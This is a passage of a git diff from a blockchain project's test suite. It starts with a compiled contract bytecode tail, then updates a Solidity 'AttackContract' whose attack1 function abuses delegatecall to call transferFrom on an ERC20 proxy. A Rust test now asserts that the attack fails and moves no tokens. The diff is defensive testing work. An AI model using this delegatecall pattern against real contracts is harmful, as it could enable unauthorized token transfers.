050565b60006109ca8261058b565b91506109d58361058b565b9250610a027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846108ec565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000610a448261058b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610a7657610a75610779565b5b600182019050919050565b610a8a816105df565b82525050565b6000606082019050610aa56000830186610a81565b610ab26020830185610a81565b610abf6040830184610595565b949350505050565b600081519050919050565b600081905092915050565b60005b83811015610afb578082015181840152602081019050610ae0565b83811115610b0a576000848401525b50505050565b6000610b1b82610ac7565b610b258185610ad2565b9350610b35818560208601610add565b80840191505092915050565b6000610b4d8284610b10565b915081905092915050565b600082825260208201905092915050565b7f64656c656761746563616c6c2072657475726e20000000000000000000000000600082015250565b6000610b9f601483610b58565b9150610baa82610b69565b602082019050919050565b60006040820190508181036000830152610bce81610b92565b9050610bdd60208301846106fc565b9291505056fea2646970667358221220844eedde78501ff38efd9053f558c5ec05d21c02aae5ba372b281444c0c4330164736f6c634300080e0033 \ No newline at end of file diff --git a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol index 2d6ff473..ac9bfcf9 100644 --- a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol +++ b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol @@ -17,11 +17,12 @@ contract AttackContract { constructor(uint256 sudtId_) public { _sudtId = sudtId_; } - function attack1(address logicContractAddr,address from,address to ,uint256 amount) public { + function attack1(address logicContractAddr,address from,address to ,uint256 amount) public returns(bool) { bool r; bytes memory s; (r, s) = logicContractAddr.delegatecall(abi.encodeWithSignature("transferFrom(address,address,uint256)", from,to,amount)); emit Log("delegatecall return ", r); // r为true或false + return r; /* uint256 result = bytesToUint(s); */ /* emit Log2("return ", result); */ } diff --git a/polyjuice-tests/src/test_cases/sudt_erc20_proxy_attack_allowance.rs b/polyjuice-tests/src/test_cases/sudt_erc20_proxy_attack_allowance.rs index 27dae87a..21880e1c 100644 --- a/polyjuice-tests/src/test_cases/sudt_erc20_proxy_attack_allowance.rs +++ b/polyjuice-tests/src/test_cases/sudt_erc20_proxy_attack_allowance.rs @@ -177,11 +177,17 @@ fn test_attack_allowance() { None, ) .expect("construct"); + // 0 means the delegate call failed + assert_eq!( + run_result.return_data, + hex::decode("0000000000000000000000000000000000000000000000000000000000000000") + .unwrap() + ); state.apply_run_result(&run_result).expect("update state"); } let target_balance = state .get_sudt_balance(CKB_SUDT_ACCOUNT_ID, target_short_address) .unwrap(); - assert_eq!(target_balance, 1000); + assert_eq!(target_balance, 0); }